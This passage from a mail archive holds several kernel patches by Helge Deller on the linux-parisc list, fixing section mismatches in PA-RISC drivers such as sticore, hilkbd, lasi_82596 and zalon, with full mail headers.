 	return 0;
 }
 
-static int ipmi_parisc_remove(struct parisc_device *dev)
+static int __exit ipmi_parisc_remove(struct parisc_device *dev)
 {
 	cleanup_one_si(dev_get_drvdata(&dev->dev));
 	return 0;
 }
 
-static const struct parisc_device_id ipmi_parisc_tbl[] = {
+static const struct parisc_device_id ipmi_parisc_tbl[] __initconst = {
 	{ HPHW_MC, HVERSION_REV_ANY_ID, 0x004, 0xC0 },
 	{ 0, }
 };
 
-static struct parisc_driver ipmi_parisc_driver = {
+MODULE_DEVICE_TABLE(parisc, ipmi_parisc_tbl);
+
+static struct parisc_driver ipmi_parisc_driver __refdata = {
 	.name =		"ipmi",
 	.id_table =	ipmi_parisc_tbl,
 	.probe =	ipmi_parisc_probe,
-	.remove =	ipmi_parisc_remove,
+	.remove =	__exit_p(ipmi_parisc_remove),
 };
 #endif /* CONFIG_PARISC */
 
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 03/14] parisc/sticore: Fix section mismatches
Date: Mon, 21 Aug 2017 22:22:50 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <1503346981-28024-4-git-send-email-deller@gmx.de>
References: <1503346981-28024-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503347016 13141 195.159.176.226 (21 Aug 2017 20:23:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 21 Aug 2017 20:23:36 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 21 22:23:32 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djtEJ-0000lq-Dm
	for glpp-linux-parisc@m.gmane.org; Mon, 21 Aug 2017 22:23:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754329AbdHUUXa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 21 Aug 2017 16:23:30 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:64866 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753781AbdHUUX3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 21 Aug 2017 16:23:29 -0400
Original-Received: from p100.fritz.box ([193.159.21.213]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M81vR-1dNhZu1Jy5-00vdJe; Mon, 21
 Aug 2017 22:23:03 +0200
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1503346981-28024-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:iH2Mdwpme7hJ35i4EMSRWXY+xPG4BjY7rZRCeKfnHC4H655XlNn
 hWwuAuatLe346v5GMiFvMXGOph2p2wIurRsXbsGDyIvNxjgeQOAfR8k3MBN8pOuhrIS8gnn
 9MgVExEO3OTFdWCqUWWdq6xOCBIozeZbwcdJStjdljqd5YH/A39t+yNkCbsmcdR6vXT7LJe
 d7NlPz7uFMWeKevc8vNkw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:AE7GDh/RN2M=:n8r6vAEPaZF6udVvrnelUK
 3lloKV2/tLYi22vuNbEZzJsE0h02LKfkdrBo64uFfrQLX6fJje3xBH0KGLn+3fiQE7EavTKWm
 sQpUcpu7pWmAinVREnQeC1u4XlGE0rNMlpIbSjpblBeyhsN2Cr7tE8M01irYUXXBsRS5A+lQY
 rPCULUZlbp/TeodBCPotyUsisMmYXjN1eDAcHYPnqjSfhwa4s7aN0PWKggOAxBC6slEgmZ12H
 s8j8/laGB2G7oLpcYOJHp7bXjlZPIle/tiNmy9u9R+h4t9pIFum+vZzvXMVVrm1vJ+J1Igfhf
 lOeiWDC+Rs12Qc7tdKbhFrhTIrtmKnnPGepX3OG9an4Oa6XlWVO9Yj1BHkw5pvTyldgl/MG56
 eoCMFLEhOYcg5aYkA4gYCYRM5W7A7LufNH254Q5Ro0w9i+SZLacYHEsjUR1NG9am2hNAsdXiJ
 /ekIWdivbkiy46f6Ih/fpzyi10VFcUyt9nDBApuJyoPx5e/aO+KsRxiXPlOo8WWjZ29sb6Ksu
 55m8JnM6eCLg3XTvhiboMwcd0vCDrixtADuDebDs28ZmKszItmGAbUltHrqcGL7lXh2reZqfO
 NqTLV3VOZVA9VYGOCuu7SxDsEF0501QbmocSlv5D/3Jlm9ELQLbldiR6JMm6TA4H6UPYND2Ik
 xz26rn2KzH1v83UtOM/C4Pm3feU0+HtWc4new7J2WsEB+FGL9vwKzN8oOUfObZrSy1xt4wOas
 9XULJmnJLd9zyYsRtYMNS8S5o4GDZRNIsCUVgSK+CC9TxNJQo+n3sLPvBWdxbO3Lae6Nlq9j 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27730
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27730>

Signed-off-by: Helge Deller <deller@gmx.de>
---
 drivers/video/console/sticore.c | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/drivers/video/console/sticore.c b/drivers/video/console/sticore.c
index 7da1ad0..d1d3796 100644
--- a/drivers/video/console/sticore.c
+++ b/drivers/video/console/sticore.c
@@ -281,7 +281,7 @@ static void sti_rom_copy(unsigned long base, unsigned long count, void *dest)
 static char default_sti_path[21] __read_mostly;
 
 #ifndef MODULE
-static int sti_setup(char *str)
+static int __init sti_setup(char *str)
 {
 	if (str)
 		strlcpy (default_sti_path, str, sizeof (default_sti_path));
@@ -941,7 +941,7 @@ static void sticore_check_for_default_sti(struct sti_struct *sti, char *path)
  * in the additional address field addr[1] while on
  * older Systems the PDC stores it in page0->proc_sti 
  */
-static int sticore_pa_init(struct parisc_device *dev)
+static int __init sticore_pa_init(struct parisc_device *dev)
 {
 	char pa_path[21];
 	struct sti_struct *sti = NULL;
@@ -1009,7 +1009,7 @@ static int sticore_pci_init(struct pci_dev *pd, const struct pci_device_id *ent)
 }
 
 
-static void sticore_pci_remove(struct pci_dev *pd)
+static void __exit sticore_pci_remove(struct pci_dev *pd)
 {
 	BUG();
 }
@@ -1029,7 +1029,7 @@ static struct pci_driver pci_sti_driver = {
 	.name		= "sti",
 	.id_table	= sti_pci_tbl,
 	.probe		= sticore_pci_init,
-	.remove		= sticore_pci_remove,
+	.remove		= __exit_p(sticore_pci_remove),
 };
 
 static struct parisc_device_id sti_pa_tbl[] = {
@@ -1037,8 +1037,9 @@ static struct parisc_device_id sti_pa_tbl[] = {
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00085 },
 	{ 0, }
 };
+MODULE_DEVICE_TABLE(parisc, sti_pa_tbl);
 
-static struct parisc_driver pa_sti_driver = {
+static struct parisc_driver pa_sti_driver __refdata = {
 	.name		= "sti",
 	.id_table	= sti_pa_tbl,
 	.probe		= sticore_pa_init,
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 12/14] parisc/input/hilkbd: Fix section mismatches
Date: Mon, 21 Aug 2017 22:22:59 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <1503346981-28024-13-git-send-email-deller@gmx.de>
References: <1503346981-28024-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503347018 13458 195.159.176.226 (21 Aug 2017 20:23:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 21 Aug 2017 20:23:38 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 21 22:23:33 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djtEL-0000lq-4H
	for glpp-linux-parisc@m.gmane.org; Mon, 21 Aug 2017 22:23:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754344AbdHUUXb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 21 Aug 2017 16:23:31 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:63160 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754321AbdHUUXa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 21 Aug 2017 16:23:30 -0400
Original-Received: from p100.fritz.box ([193.159.21.213]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MTwYX-1e9ygL32pN-00QiLm; Mon, 21
 Aug 2017 22:23:04 +0200
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1503346981-28024-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:Dl9WISomNI1T3OlPRCtfKMz0lKnsvOTNOcQfWu4BoY9ElvRvE3m
 Z8LulmmUQ3/UBUoLMWfZOdzPAbgX34oqgdz+Wp4RfAViSrII249r7ZkXBi+feOoYkFyOxcO
 ItGQUqtLbAXi7KnlNA6yOIQbG4/J7bipXGhpzIiuqJxrjNYFXcp/Brqs08ib+cYCzp7Kclk
 wQgdHJDe8qq7p+f6mB6Wg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:yIbz8oC3uyg=:GZvtIw4GJYqFj1bWPqij9X
 hCpxPWhfU/dufyVbVfDlHZNwA4qO6vQR7drfiLHErKk95lJw61DLuoVasNrLSyyGShScsiDhv
 cCAqhStSP38RpnVX15VUBZmX2X8vV4zo5nk4az3FyPXFGEYJS+XxqC4qp12xzTM0yk0RUIZG4
 7gB3uXa19Gt7HQERskwjrBej6a8Z5JOQzDvQc+GM3O3dOkJ1gGep4girrXrJ2YYB5YQ3qRvDI
 zsOkFf/y6sXtY0Z+TYyRWlOtcPu3Usa0j/8Bm0dhc22Akhiz5tDDmR8xPDU0IPCXXSW6mTJDW
 tGu6+QIaopEiszXsqZ25Y6yfWe70YbjbGJgKxwRW51aFm+lvDp0mdj3J80eAWSJc9ykc/t5qq
 6ff1xyAfRbQz8tVLSM1z9bqXj/00tSlGgFz67DuUAz/W83oc09TuK8wR7BcsxVtDZJCVo46Lb
 HtoGkQYhQ832IyuBNS8altsrUUn+WWOoCPVtVPegU3CumWgxjthuV/UVTZytXpgHyzQJ0wEsj
 v6z+auXPDwdtDJNK/P53KYulQfiHCVpyEfHLZcVdzhEK6oR2Qi+QYFTCGEiTV2ycBTK5pfXXV
 uoSPr4KhRaHVeitNwhBy1Qxy1CprBOousTYBJVHqHKjRgIFgY23SeKmok5/BFY/mXXARbUCo3
 uUb9fRFJKgEWtqsAZSzPCz5F97sV5CPWxC+3ms3zwdqf0PYxDv5rLmDLz6m8aCZY9SfJH2Kv4
 8iMq3l/Ovh2lKnItctgawn+4d0h6tKiv0LU+6awnP7lyazYh1gEUd/1Nw/ZcKYtmC6xh2fGB 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27731
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27731>

Signed-off-by: Helge Deller <deller@gmx.de>
---
 drivers/input/keyboard/hilkbd.c | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/drivers/input/keyboard/hilkbd.c b/drivers/input/keyboard/hilkbd.c
index 198dc07..9ea3a10 100644
--- a/drivers/input/keyboard/hilkbd.c
+++ b/drivers/input/keyboard/hilkbd.c
@@ -299,7 +299,7 @@ static void hil_keyb_exit(void)
 }
 
 #if defined(CONFIG_PARISC)
-static int hil_probe_chip(struct parisc_device *dev)
+static int __init hil_probe_chip(struct parisc_device *dev)
 {
 	/* Only allow one HIL keyboard */
 	if (hil_dev.dev)
@@ -320,14 +320,14 @@ static int hil_probe_chip(struct parisc_device *dev)
 	return hil_keyb_init();
 }
 
-static int hil_remove_chip(struct parisc_device *dev)
+static int __exit hil_remove_chip(struct parisc_device *dev)
 {
 	hil_keyb_exit();
 
 	return 0;
 }
 
-static struct parisc_device_id hil_tbl[] = {
+static struct parisc_device_id hil_tbl[] __initconst = {
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00073 },
 	{ 0, }
 };
@@ -337,11 +337,11 @@ static struct parisc_device_id hil_tbl[] = {
 MODULE_DEVICE_TABLE(parisc, hil_tbl);
 #endif
 
-static struct parisc_driver hil_driver = {
+static struct parisc_driver hil_driver __refdata = {
 	.name		= "hil",
 	.id_table	= hil_tbl,
 	.probe		= hil_probe_chip,
-	.remove		= hil_remove_chip,
+	.remove		= __exit_p(hil_remove_chip),
 };
 
 static int __init hil_init(void)
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 11/14] parisc/net/lasi_82596: Fix section mismatches
Date: Mon, 21 Aug 2017 22:22:58 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <1503346981-28024-12-git-send-email-deller@gmx.de>
References: <1503346981-28024-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503347021 14058 195.159.176.226 (21 Aug 2017 20:23:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 21 Aug 2017 20:23:41 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 21 22:23:36 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djtEM-0000lq-5B
	for glpp-linux-parisc@m.gmane.org; Mon, 21 Aug 2017 22:23:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754342AbdHUUXc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 21 Aug 2017 16:23:32 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:50748 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754328AbdHUUXa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 21 Aug 2017 16:23:30 -0400
Original-Received: from p100.fritz.box ([193.159.21.213]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M04uG-1dRH0e2SYm-00uFCd; Mon, 21
 Aug 2017 22:23:04 +0200
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1503346981-28024-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:hD2JkNDWA+fntJZPf+ql5v0VpBBzZJPYRdr2inuO+7SZ6jTYK7J
 8csaiK4O0l3AfYwk7fQxurwJBtypRstpw0ZKEELwIt9Wc8qZGLjw3Pbyye7DJxBYChjMguD
 0qlm5awE0Wcpv8hALwKwo9lDqboyZ2WuhqUYkn5TPRNegKXgLwvgrYlk6Td0zN076524p4r
 cqPDfDvrcoGGxy8jOq3FA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Pw9x6alkM2E=:V14tc//6b/S5PqUNsFFmLO
 Oumd/WxoV76z7CrJ4ZJ0Y+8vFpy6kchFlWU5PygfbjClkUlHBu/ivxJHinQUcpooK8RJVALIU
 tKNSX+no3SJ57C7eseXkEZYGmcnFQ5WVTPudUH5Rp+86ec3laVMFjhDbsRsAKVacxX6dHcTzy
 sRcqZ1Tp3eRjshcAMAMtpWZ/Z+QiCUN16u196vDogoJ+o4QMlh5BHPC3WUT7mLzO0dJiToY5Q
 yfGvLg26QWSjKZ+IDnMXeidWR+v2D62Mtb7DzRDdOmtv6/eSNScR4CiN8PKY1bcGIb7zpFHHl
 kh+L1BBVa8jkCEWqLiq0rftXi1/y38jkW4rClnKkuGrKMSLRDRBwKK+Mcg951wyOtFv+/1Jvw
 D4O5xMa1CtLKgtzcXgychGKqhlKGs+/JjqUu8EW9sHWlmSvGruxDFHsGDXSgV9U7Hce1RRu3r
 Rv/IExyi5ZwjmAKEwDYPKaUOlOyfwQWdpc7oCCz3u1e6pcVbibT5jBLzQmZzAckTjNzg2kkPY
 E13gh/kFZQJMvUWBtCG9sd/evpGzCgjhwggdepRsdTX2mt7/gftd2bOYmQZWhAVwWg0wv9/NZ
 s/QREqSTQv2oxi8qYPsu0oX2+QKHne2siGjF9m4knOr/kGWcgh2paqrXAAi0CQh+suE5/IhA3
 7Sq0kIjEJr9jl19EeDMHMgSBv6OtujsrLBgBZlFIjzF4ZOhHyoCy18fqkBlqcSEU5gAVUaShI
 LX12aIuR2ReywlVW490cBMzulmZWx5h+meaU4oXxMmWgOIbM62YAFJ9DuPNJoO/KBz+aI9H0 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27732
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27732>

Signed-off-by: Helge Deller <deller@gmx.de>
---
 drivers/net/ethernet/i825xx/lasi_82596.c | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/drivers/net/ethernet/i825xx/lasi_82596.c b/drivers/net/ethernet/i825xx/lasi_82596.c
index d787fdd..68a2af2 100644
--- a/drivers/net/ethernet/i825xx/lasi_82596.c
+++ b/drivers/net/ethernet/i825xx/lasi_82596.c
@@ -149,7 +149,7 @@ static void mpu_port(struct net_device *dev, int c, dma_addr_t x)
 
 #define LAN_PROM_ADDR	0xF0810000
 
-static int
+static int __init
 lan_init_chip(struct parisc_device *dev)
 {
 	struct	net_device *netdevice;
@@ -194,7 +194,7 @@ lan_init_chip(struct parisc_device *dev)
 	return retval;
 }
 
-static int lan_remove_chip(struct parisc_device *pdev)
+static int __exit lan_remove_chip(struct parisc_device *pdev)
 {
 	struct net_device *dev = parisc_get_drvdata(pdev);
 	struct i596_private *lp = netdev_priv(dev);
@@ -206,7 +206,7 @@ static int lan_remove_chip(struct parisc_device *pdev)
 	return 0;
 }
 
-static struct parisc_device_id lan_tbl[] = {
+static struct parisc_device_id lan_tbl[] __initconst = {
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0008a },
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00072 },
 	{ 0, }
@@ -214,11 +214,11 @@ static struct parisc_device_id lan_tbl[] = {
 
 MODULE_DEVICE_TABLE(parisc, lan_tbl);
 
-static struct parisc_driver lan_driver = {
+static struct parisc_driver lan_driver __refdata = {
 	.name		= "lasi_82596",
 	.id_table	= lan_tbl,
 	.probe		= lan_init_chip,
-	.remove         = lan_remove_chip,
+	.remove         = __exit_p(lan_remove_chip),
 };
 
 static int lasi_82596_init(void)
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 06/14] parisc/scsi/zalon: Fix section mismatches
Date: Mon, 21 Aug 2017 22:22:53 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <1503346981-28024-7-git-send-email-deller@gmx.de>
References: <1503346981-28024-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503347022 14239 195.159.176.226 (21 Aug 2017 20:23:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 21 Aug 2017 20:23:42 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 21 22:23:38 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djtEL-0000lq-KB
	for glpp-linux-parisc@m.gmane.org; Mon, 21 Aug 2017 22:23:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754345AbdHUUXc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 21 Aug 2017 16:23:32 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:64606 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754326AbdHUUXa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 21 Aug 2017 16:23:30 -0400
Original-Received: from p100.fritz.box ([193.159.21.213]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MXDo1-1e6hQg3Ww1-00WE8A; Mon, 21
 Aug 2017 22:23:03 +0200
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1503346981-28024-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:UO8GsaXGROuX4ryDTBUp0fAUpiDTNfmCRJECrLi5h5uzCA1T7sZ
 0HX0QhIvsh7qx6OzYkXtH5EMf3iUcrAAXczuvHtaL/VwMWBAEJHojMxMhkxw47Q4saLWggX
 q+BbfgU+O/e+OaB8vE7Xr6Rt0u4UaJtvstz4hlSDSk7LE2uhCmsOuC3rqntuW1boBS2miYY
 SvSreBymbwijVp5VBTJjQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:cGnXKQMtRwc=:EdL4dlN0SSaYi5kBM80I1Z
 Rcxojg8ih6DSt9sv99RYgicsLDn4qG5BYny1zVSjSdypA9RSAjmK1KAIO9+3G0eP0WKXy0bO8
 Eihoed+O1lIYf+/tTn0do2wpgMAVtpq4ASxX25Mxu9EsYQV/NYjkHtMxC4I+o581z2l+yKtMu
 H4XQCEVk86E/O0O/1LiyabeI7Oh40wjQEQW93rLT49Iv78yXWNqrgelVGztTsmOV8dzfeHaa3
 MsLonewvTJQQSCcEaOGc8oLHpWNEvUTo7j/K0d+a6GSrNpG62cxAcU9MiWKkSFxZEJmZCCZCN
 ExTOcLmre2E9wCrfQHZmrwwJL1nb86PAB0+lFhrEnL1ZH0pO7zuHG2VGqRPe8aT1SDJ4yJlcz
 KWfBDkRWh2Q7F1iSMWP7IFysbu+evGUOLLJWd0PscVc5R6eaDQVEi5hlLvN6G3yoj1DxJm/Y5
 aArTAkQGA8TTCTkl4jE6JLDIHa5rOGKsMhLe4lh3XwTPPSph1oTwZy9hFgIWhIoWzq8XeQug5
 X0sWkbyAiv0xBIvvVsDLObdclnAxTXtR4S81ItPpt6FcuHbBS0i8SHnxrj2kdkswhX4SXZH+y
 BdgciumazshTaYbymrEpyBUk/2QCEzNRpPwyn7NdgTBpEAqK4rO0iRZZSo2wNGYqYVJIEyWcJ
 27YpyHumqjcdctvjOHHHtZVfHn52GW7T3sF5AQLpWG09rruNLO5OtPDZLQTZYo/VrKI5booUA
 k4mSfEa2bYStYS2saWWVtn8HQTlonPXRMzpfgIlMAUlppqu5CfIKZ9cWzpJdnmGnxNdDe4s1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27733
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27733>

Signed-off-by: Helge Deller <deller@gmx.de>
---
 drivers/scsi/zalon.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/drivers/scsi/zalon.c b/drivers/scsi/zalon.c
index b2cf1fa..a2fb7ad 100644
--- a/drivers/scsi/zalon.c
+++ b/drivers/scsi/zalon.c
@@ -160,14 +160,14 @@ zalon_probe(struct parisc_device *dev)
 	return error;
 }
 
-static struct parisc_device_id zalon_tbl[] = {
+static struct parisc_device_id zalon_tbl[] __initconst = {
 	{ HPHW_A_DMA, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00089 }, 
 	{ 0, }
 };
 
 MODULE_DEVICE_TABLE(parisc, zalon_tbl);
 
-static int zalon_remove(struct parisc_device *dev)
+static int __exit zalon_remove(struct parisc_device *dev)
 {
 	struct Scsi_Host *host = dev_get_drvdata(&dev->dev);
 
@@ -178,11 +178,11 @@ static int zalon_remove(struct parisc_device *dev)
 	return 0;
 }
 
-static struct parisc_driver zalon_driver = {
+static struct parisc_driver zalon_driver __refdata = {
 	.name =		"zalon",
 	.id_table =	zalon_tbl,
 	.probe =	zalon_probe,
-	.remove =	zalon_remove,
+	.remove =	__exit_p(zalon_remove),
 };
 
 static int __init zalon7xx_init(void)
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 07/14] parisc/scsi/lasi700: Fix section mismatches
Date: Mon, 21 Aug 2017 22:22:54 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <1503346981-28024-8-git-send-email-deller@gmx.de>
References: <1503346981-28024-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503347022 14242 195.159.176.226 (21 Aug 2017 20:23:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 21 Aug 2017 20:23:42 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 21 22:23:38 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djtEN-0000lq-Q5
	for glpp-linux-parisc@m.gmane.org; Mon, 21 Aug 2017 22:23:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754358AbdHUUXe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 21 Aug 2017 16:23:34 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:58006 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754339AbdHUUXb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 21 Aug 2017 16:23:31 -0400
Original-Received: from p100.fritz.box ([193.159.21.213]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LeRKD-1dDuz701mP-00qF1W; Mon, 21
 Aug 2017 22:23:04 +0200
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1503346981-28024-1-git-send-email-deller@gmx.de>
